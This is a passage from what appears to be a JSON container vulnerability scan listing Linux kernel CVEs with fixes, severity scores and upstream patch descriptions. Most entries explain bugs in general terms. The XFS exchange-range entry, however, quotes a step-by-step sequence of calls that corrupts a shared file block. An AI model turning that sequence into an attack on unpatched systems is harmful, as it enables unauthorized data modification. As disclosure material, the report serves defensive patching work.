hardware\ndeclares proportional packet sizes and is unaffected.\n\n BUG: KASAN: slab-out-of-bounds in start_usb_playback (sound/usb/misc/ua101.c:586)\n Write of size 2048 at addr ffff8881098f3c00 by task exploit/5021\n Call Trace:\n __asan_memset (mm/kasan/shadow.c:84)\n start_usb_playback (sound/usb/misc/ua101.c:586)\n playback_pcm_open (sound/usb/misc/ua101.c:679)\n snd_pcm_open_substream (sound/core/pcm_native.c:2829)\n snd_pcm_open (sound/core/pcm_native.c:2865 sound/core/pcm_native.c:2932)\n snd_pcm_playback_open (sound/core/pcm_native.c:2891)\n snd_open (sound/core/sound.c:166)\n chrdev_open (fs/char_dev.c:411)\n do_dentry_open (fs/open.c:996)\n vfs_open (fs/open.c:1101)\n path_openat (fs/namei.c:4837 fs/namei.c:5000)\n do_file_open (fs/namei.c:5029)\n do_sys_openat2 (fs/open.c:1417)\n __x64_sys_openat (fs/open.c:1423 fs/open.c:1439 fs/open.c:1434)\n do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\n\n The buggy address belongs to the object at ffff8881098f3c00\n which belongs to the cache kmalloc-192 of size 192\n The buggy address is located 0 bytes inside of\n allocated 168-byte region [ffff8881098f3c00, ffff8881098f3ca8)", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98741", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98741.mbox", "https://git.kernel.org/stable/c/0a6a5eecc92c13f936d8d90975116d6bbdf4f876", "https://git.kernel.org/stable/c/4294fe57048594a9e158b61c967bb7f943cda477", "https://git.kernel.org/stable/c/86f86e6fdedc33c5b8d38b9208b350f8accf57ee", "https://git.kernel.org/stable/c/a2d326b3f6d470ea4bfde00245794e0dc6dbbc3d", "https://git.kernel.org/stable/c/ada5ded765f059a6e3036e69ca350449442af0fc", "https://git.kernel.org/stable/c/b54976c81a6b8cae311b75be1a4cda444689bca0", "https://git.kernel.org/stable/c/eb0c7fda59cf650076f8ed5b949a6c8441aa3606", "https://git.kernel.org/stable/c/fd3a7bf0d988b0878a1957df150edb35f81db87e", "https://nvd.nist.gov/vuln/detail/CVE-2026-98741", "https://www.cve.org/CVERecord?id=CVE-2026-98741" ], "PublishedDate": "2026-10-18T16:17:27.807Z", "LastModifiedDate": "2026-10-30T13:21:22.713Z" }, { "VulnerabilityID": "CVE-2026-98742", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1ef0508dc099e5ac3b5937d13b8f28facd96262b9eb8a1781f35106806402d50", "Title": "kernel: kernel: Use-after-free via race condition in ALSA sequencer compatibility ioctls", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: seq: Serialize compat port-info ioctls\n\nThe native sequencer ioctl path serializes handler calls with\nclient-\u003eioctl_mutex, but the translated port-info compat path invokes the\nsame handlers through snd_seq_kernel_client_ctl() without taking that\nmutex.\n\nThis lets concurrent compat CREATE_PORT requests pass the port-count\ncheck before any request reaches the serialized insertion. The computed\ninteger port index can then exceed the address field range and wrap to an\nexisting index. Subsequent subscriber teardown can resolve the duplicate\naddress to the wrong port and access a freed subscriber.\n\nTake ioctl_mutex while dispatching converted port-info requests, matching\nthe native ioctl path. All translated port-info commands share this\nhelper, so their accesses to the client port state are serialized as\nwell.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98742", "https://git.kernel.org/stable/c/14e178c60ba1cea49186fcfccac93d66aa94e9e0", "https://git.kernel.org/stable/c/2c0cce3a5a660270d65729b0f318d4e01470479d", "https://git.kernel.org/stable/c/2db234e163f0d211b69a4eebbec8aacc5a54a80e", "https://git.kernel.org/stable/c/413211dd31cb2ef2fc99fb0aa1a037a97509502c", "https://git.kernel.org/stable/c/4980768c5d092493be0deb20d1ee86aa661466f8", "https://git.kernel.org/stable/c/702d92f361f65d9698c473c7599d471395dc4341", "https://git.kernel.org/stable/c/95b2e0361c88753afa030c10698be0a1a5b67650", "https://git.kernel.org/stable/c/fc5c52848e405b6efb073db5035bb9ebaed11ec4", "https://kernelcve.org/list/?q=CVE-2026-98742", "https://nvd.nist.gov/vuln/detail/CVE-2026-98742", "https://www.cve.org/CVERecord?id=CVE-2026-98742" ], "PublishedDate": "2026-10-18T16:17:27.92Z", "LastModifiedDate": "2026-10-30T13:21:22.93Z" }, { "VulnerabilityID": "CVE-2026-98769", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98769", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fe081c7bb6feefc1a3694411a41952eb66a5f3a2d710741e3d255e5441976d52", "Title": "kernel: usb: gadget: f_uac1_legacy: validate bRequest index in generic_{set,get}_cmd", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_uac1_legacy: validate bRequest index in generic_{set,get}_cmd\n\ngeneric_set_cmd() and generic_get_cmd() use the low nibble of\nctrl-\u003ebRequest as an index into con-\u003edata[]:\n\n u8 cmd = (ctrl-\u003ebRequest \u0026 0x0F); /* 0 .. 15 */\n ...\n con-\u003edata[cmd] = value; /* OOB when cmd \u003e= 5 */\n\nstruct usb_audio_control (include/linux/usb/audio.h) declares data as\na 5-element array, so indices 5 through 15 write (or read) up to 44\nbytes past the end of the array on the heap.\n\nA malicious USB host can craft a class-specific SET_CUR / GET_CUR\nrequest with an arbitrary bRequest value, triggering the out-of-bounds\naccess from an IRQ completion handler with no further preconditions.\n\nAdd an ARRAY_SIZE() guard to both functions.", "Severity": "HIGH", "VendorSeverity": { "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98769", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98769.mbox", "https://git.kernel.org/stable/c/36f3f009049bc91e14dc856007932473318d12f8", "https://git.kernel.org/stable/c/3e655ebe0e45b7b026a4d3e6c10586b95164b3fd", "https://git.kernel.org/stable/c/697cfe6e53b66cda196d6f8833b0ee97fefd0a8a", "https://git.kernel.org/stable/c/8c611876c002d712ae5f246af5188432c708f79d", "https://git.kernel.org/stable/c/9062d50e75c24dc7911be05c9b1719b3b256af15", "https://git.kernel.org/stable/c/da841c1511a6160b8bc6bb7b7c6d4c9fb76fb51e", "https://git.kernel.org/stable/c/f0ff630d83c12c9a97637dded1dc27558bee3760", "https://git.kernel.org/stable/c/f8a4ddc23056560dc3333839a4c6998f644db303", "https://nvd.nist.gov/vuln/detail/CVE-2026-98769", "https://www.cve.org/CVERecord?id=CVE-2026-98769" ], "PublishedDate": "2026-10-18T16:17:30.813Z", "LastModifiedDate": "2026-10-30T13:21:26.617Z" }, { "VulnerabilityID": "CVE-2026-98805", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98805", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:407ab538b737ba1167f36a99c75508b8cf85c8ba391f5c5fb1809ed5348fcb2e", "Title": "kernel: tipc: prevent GCM nonce reuse on peer key changes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: prevent GCM nonce reuse on peer key changes\n\nTIPC can encrypt traffic between nodes using a different transmit key\nfor each node. In this mode, the AES-GCM nonce for a packet sent to a\nknown peer consists of a 32-bit prefix (a per-key salt XOR the peer's\naddress) followed by a 64-bit counter. That counter is stored in the\npeer's RX crypto object. When the peer reports a change in which key\nit uses to receive packets, TIPC resets this counter. The sender can\nstill be using the same TX key and salt, so subsequent packets reuse\nearlier nonces. This nonce reuse breaks confidentiality and exposes\nGCM's authentication key. This makes forgeries trivial: an attacker\ncan exploit CTR malleability to alter captured ciphertexts and use the\nrecovered authentication key to compute a valid tag for the modified\nciphertext, under the same key and nonce.\n\nUse the TX key's existing aead-\u003eseqno counter instead. All encryptions\nusing that key object share the same atomic counter, so concurrent\nencryptions get distinct nonce counter values. The counter survives\nkey activation and peer reconnection, and peer key-status reports\ncannot reset it. This prevents those transitions from causing nonce\nreuse while the same TX key remains installed.\n\nThe nonce format is unchanged, and receivers do not require consecutive\ncounter values, so sharing the counter across peers remains compatible\nwith existing receivers. A pre-existing check still invokes key\nrevocation in the unlikely event that the counter wraps to zero.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98805", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98805.mbox", "https://git.kernel.org/stable/c/04d67f77fe3f9ec9c60db70773fb1696d0d58da8", "https://git.kernel.org/stable/c/0ff0ca5b514ceecad68b8682e072f373acc5acec", "https://git.kernel.org/stable/c/512ccd3d0e91e791fb37442aa0a2599aca19783d", "https://git.kernel.org/stable/c/5c8ce13c792e28d56f9ec3cd6728d8225bc0e3a2", "https://git.kernel.org/stable/c/60e0c2aeaa605ff19ca4e65126a35643d4d7ee1c", "https://git.kernel.org/stable/c/7e5d5ac25e0857548cac963a2f850b19b2e1d59c", "https://git.kernel.org/stable/c/a85a3dce4b6c73ddaa1e9725b906249744bf7cf2", "https://git.kernel.org/stable/c/f74f100e49588c1dbdc6ab3ba9e2c67b36d015d0", "https://nvd.nist.gov/vuln/detail/CVE-2026-98805", "https://www.cve.org/CVERecord?id=CVE-2026-98805" ], "PublishedDate": "2026-10-18T16:17:34.567Z", "LastModifiedDate": "2026-10-30T13:21:28.507Z" }, { "VulnerabilityID": "CVE-2026-98853", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98853", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:17524af26c5e598366321376d10d27be3da73c8f4eddc23c08035dd24d02a824", "Title": "kernel: net: gso: limit recursive IP-in-IP segmentation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gso: limit recursive IP-in-IP segmentation\n\nIP-in-IP GSO can re-enter inet_gso_segment() or ipv6_gso_segment()\nfor each nested IP header. encap_level tracks header bytes, not callback\ndepth, so a deep chain can exhaust the kernel stack. Making\ninet_gso_segment() stackable introduced unbounded IPv4 nesting; IPIP\nGSO/TSO later made the path reachable. The IPv6 stackable path was\nintroduced separately and uses the same guard.\n\nCount IPv4 and IPv6 GSO handler entries in skb_gso_cb, initialized once\nper top-level GSO operation and preserved across GRE/UDP context changes.\nUse the existing IP_TUNNEL_RECURSION_LIMIT for both handlers. The first\nfive entries pass, and the sixth returns -EINVAL before dispatching\nanother GSO callback.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98853", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98853.mbox", "https://git.kernel.org/stable/c/006c8b834aed8b02bd8fb9fb05e9e7ead37d1763", "https://git.kernel.org/stable/c/388604279da3d0698a151efa4fb6d852efa0de4a", "https://git.kernel.org/stable/c/c949646c900e879afce47df1b607fa320eb63bf2", "https://nvd.nist.gov/vuln/detail/CVE-2026-98853", "https://www.cve.org/CVERecord?id=CVE-2026-98853" ], "PublishedDate": "2026-10-18T16:17:39.733Z", "LastModifiedDate": "2026-10-30T13:21:30.87Z" }, { "VulnerabilityID": "CVE-2026-98857", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98857", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:15fa9e8d1105e7f66756c4632f861ea997010a5b4eef4317d7072f05f0bcebc7", "Title": "kernel: ipvs: bound LBLCR and LBLC cache growth", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: bound LBLCR and LBLC cache growth\n\nip_vs_lblcr_new() and ip_vs_lblc_new() create cache entries for\nevery previously unseen destination address. The table max_size only\ntells the periodic collector to reclaim entries after the cache has\nalready exceeded the limit. It does not reclaim entries that the\nattacker continues to use.\n\nReject new cache entries once either table reaches max_size * 3 / 2.\nThe extra headroom lets the periodic collector catch up while the\nexisting scheduler fallback continues to use the selected destination\nwhen cache creation fails. New traffic therefore stays serviceable\nwithout growing the tables further.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98857", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98857.mbox", "https://git.kernel.org/stable/c/16c83c047ecfaf226ad81d45d77fa11a3184d0e4", "https://git.kernel.org/stable/c/2a3c3de660f96865f303fd25f1285f2ffbfd521d", "https://git.kernel.org/stable/c/31028d7b970962fbeda1e9131405c76551094300", "https://git.kernel.org/stable/c/488eaba207dd2e4c5afc65e18dc237d70f01d283", "https://git.kernel.org/stable/c/6316d17324bd4ca400c26adb7b656c6e3447c209", "https://git.kernel.org/stable/c/8b93288b4543ad5139a25a5b211a07bf755652dd", "https://git.kernel.org/stable/c/bc9ff8e64771cc32a216953fe615386f46ac1eaa", "https://git.kernel.org/stable/c/f6e9446bfb79907d3092fc45a0054b0c3b329bfe", "https://nvd.nist.gov/vuln/detail/CVE-2026-98857", "https://www.cve.org/CVERecord?id=CVE-2026-98857" ], "PublishedDate": "2026-10-18T16:17:40.15Z", "LastModifiedDate": "2026-10-30T13:21:31.347Z" }, { "VulnerabilityID": "CVE-2026-98927", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98927", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:351bdc01dcc46fa714642dac1e9d4e938963ebba562477ddc14464ff91f9bfb5", "Title": "kernel: KVM: arm64: nv: Fix life cycle of the nested_mmus array", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: nv: Fix life cycle of the nested_mmus array\n\nThe nested_mmus array holds the shadow page tables that are used when\na guest is running a nested context. These structures are allocated on\nVCPU_INIT for whole guest, which implies that they may have to be\nrelocated as the array grows.\n\nShould a VCPU_INIT occur whilst a vcpu is actively running an L2 and\nthat the allocation requires relocation, that vcpu will still be\nrunning with a pointer to the previous structure, which will have been\nfreed.\n\nFix this by turning the array of structures to an array of pointers,\nwhich is now allocated at VM creation, sized to the absolute maximum\nthat KVM can handle.\n\nIn turn, each VCPU_INIT contributes S2_MMU_PER_VCPU to the pool. No\nreallocation is ever performed, and the life cycle of each object is\nmuch clearer:\n\n- the nested_mmus array is allocated in kvm_init_nested(), and freed\n in kvm_arch_destroy_vm()\n\n- s2_mmu structures are allocated in kvm_vcpu_init_nested(), and freed\n on kvm_arch_flush_shadow_all()\n\nFinally, the freeing of vcpu-\u003earch.vncr_array is made consistent\nrather than being done on some failure paths, but not others.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98927", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98927.mbox", "https://git.kernel.org/stable/c/33346f8960c7bb6a3b4e273b5cfe25c5a8be349f", "https://git.kernel.org/stable/c/512c93f4461b9a3735987f48423d438a9cd49e6a", "https://git.kernel.org/stable/c/81e3f065a6485626f816d791dfd5e00ddd12eff5", "https://git.kernel.org/stable/c/ea242bdc29e8a8ff0e2447a64b3841114779f3af", "https://nvd.nist.gov/vuln/detail/CVE-2026-98927", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98927" ], "PublishedDate": "2026-10-23T13:17:13.45Z", "LastModifiedDate": "2026-10-24T14:16:48.507Z" }, { "VulnerabilityID": "CVE-2026-98952", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98952", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:156112390b3570507ba33786bf9578f0bfc40a8b3cde465d25f6e7366e66ab02", "Title": "kernel: pfcp: make sure the SEID is linear before reading it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npfcp: make sure the SEID is linear before reading it\n\npfcp_encap_recv() only makes sure that the UDP header and the 4 byte\nPFCP header are in the linear area. When the S flag is set,\npfcp_session_recv() then reads the 8 byte SEID that follows, which is\nnot covered by the pskb_may_pull() check.\n\nA short PFCP packet with the S flag set, or one whose session header\nlies in a fragment, therefore makes pfcp_session_recv() read beyond the\nend of the packet data, and whatever it finds there is stored in the\ntunnel metadata that flower later classifies on.\n\nPull up to the end of the SEID before reading it, and drop packets\nthat are too short to contain it. Reload the header pointer afterwards\nsince pskb_may_pull() may reallocate the skb head.\n\nUse offsetofend() rather than sizeof(struct pfcphdr_session): the\nstructure is not packed, so its size is 16 bytes because of the\nalignment of the __be64 member, while the header on the wire is only 12\nbytes, and valid session messages would be dropped.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98952", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98952.mbox", "https://git.kernel.org/stable/c/23609bce9e1de525d1d0e73fc68c6e7971d0b49e", "https://git.kernel.org/stable/c/2fb6d05f706d79bbdc88835be2f4f45ab56dd819", "https://git.kernel.org/stable/c/3192a5e398c64d48aad64a09e29643e327369bc4", "https://git.kernel.org/stable/c/b18a6496495495e2dc27e525aa3315a0c59b9513", "https://nvd.nist.gov/vuln/detail/CVE-2026-98952", "https://www.cve.org/CVERecord?id=CVE-2026-98952" ], "PublishedDate": "2026-10-23T13:17:16.37Z", "LastModifiedDate": "2026-10-24T14:16:49.163Z" }, { "VulnerabilityID": "CVE-2026-98974", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98974", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:097c787f236e1a9aa9dc9c8d5cb248f16e9462c5005bf7f2051180dca74f96a8", "Title": "kernel: kernel: xfs: Unauthorized data modification via improper file size exchange handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix exchange-range-to-eof file size exchange\n\nNorbert Szetei posted a patch containing an incomplete description of a\nbug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks\nexchange-range into modifying a file so that it has shared blocks\nstarting beyond EOF, which is never allowed because files never have\nwritten data beyond EOF, and you can only share written data blocks.\nThis is key to all the incorrect behavior that follows.\n\nEventually I got from Norbert a description of what's going wrong:\n\n\u003e Fair. Here it is with physical block numbers, 4k blocks. peer is the file\n\u003e that gets rewritten and file1 is the one that ends up with the flag\n\u003e cleared.\n\u003e\n\u003e Start, nothing shared:\n\u003e\n\u003e\tpeer size 4096 -\u003e [100]\n\u003e\tfile1 size 12288 -\u003e [200] [201] [202]\n\u003e\tdonor1 size 4096 -\u003e [300]\n\u003e\tdonor2 size 4096 -\u003e [400]\n\u003e\n\u003e 1. FICLONERANGE peer's block into file1's middle slot:\n\u003e\n\u003e\tpeer size 4096 -\u003e [100]\n\u003e\tfile1 size 12288 -\u003e [200] [100] [202] reflink flag set\n\u003e ^^^^^ both files own block 100\n\u003e\n\u003e 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,\n\u003e file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes\n\u003e are exchanged with it:\n\u003e\n\u003e\tfile1 size 4096 -\u003e [200] [100] [300] reflink flag set\n\u003e ^^^^^^^^^^^ still owned, now past the size\n\u003e\tdonor1 size 12288 -\u003e [202]\n\u003e\n\u003e file1 says it is one block long while it still owns three. Nothing was\n\u003e unmapped. file2_offset is block 2, so this exchange cannot clear a flag.\n\u003e\n\u003e 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.\n\u003e By i_disk_size this is two one-block files exchanging everything, so\n\u003e xmi_can_exchange_reflink_flags() agrees and the flag is cleared:\n\u003e\n\u003e\tfile1 size 4096 -\u003e [400] [100] [300] reflink flag CLEARED\n\u003e\tdonor2 size 4096 -\u003e [200]\n\u003e\n\u003e Block 100 is still shared with peer.\n\u003e\n\u003e 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.\n\u003e xfs_is_cow_inode(file1) is false, so no CoW:\n\u003e\n\u003e\tpeer size 4096 -\u003e [100] same block, new contents\n\u003e\n\u003e Block 100 is the only one that matters here. PoC below, it reads a file\n\u003e called peer in the current directory. The filesystem needs reflink and\n\u003e exchange-range, which mkfs.xfs 7.x turns on by default.\n\nSo yes, TO_EOF is screwing up the file size even if it's actually\nexchanging the data block correctly. The following is the intended\nbehavior of XFS_EXCHANGE_RANGE_TO_EOF, as described by its manpage:\n\n\"Ignore the length parameter. All bytes in file1_fd from file1_offset\n to EOF are moved to file2_fd, and file2's size is set to\n (file2_offset+(file1_length-file1_offset)). Meanwhile, all bytes in\n file2 from file2_offset to EOF are moved to file1 and file1's size is\n set to (file1_offset+(file2_length-file2_offset)).\"\n\nIn other words, if we only exchange a portion of the file data, then we\nshould only exchange the portion of the file size that relates to the\nexchanged data. Unfortunately, the code swaps the ondisk file size and\nthe incore file sizes, which is incorrect if the caller passes in a\nnonzero offset.\n\nHaving confused the file sizes, the PoC uses a second exchange-range\ncall on what looks like a non-reflinked single-block file. Because the\nfile size is set incorrectly, exchange-range thinks it's exchanging the\nfull contents of two files and clears the reflink flag on the broken\nfile. That enables an extending write of the broken file to rewrite the\nshared block that's just past EOF. This has become known colloquially\nas refluxfs.\n\nOnce the file sizes are set correctly, the second exchange-range no\nlonger thinks that it's doing a full-contents swap, so it won't clear\nthe reflink flag on either of its file arguments.\n\nNorbert followed up to an earlier version of this patch with a second\ncomplaint about us not handling the i_disk_size state correctly:\n\n\u003e The offsets are bounded against the incore i_size but subtracted from\n\u003e\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95367", "https://access.redhat.com/security/cve/CVE-2026-98974", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2536264", "https://bugzilla.redhat.com/2559811", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2536264", "https://bugzilla.redhat.com/show_bug.cgi?id=2559811", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98974", "https://errata.almalinux.org/10/ALSA-2026-95367.html", "https://errata.rockylinux.org/RLSA-2026:95367", "https://git.kernel.org/stable/c/7dfb218c829c1acb626e0fe92c5fddb9a26a03e9", "https://git.kernel.org/stable/c/952b5c99a840c2bff1f6645fd5e06e1db6ec2623", "https://git.kernel.org/stable/c/b361d32b884f8ddcb9bad5d99b69eece648f8e43", 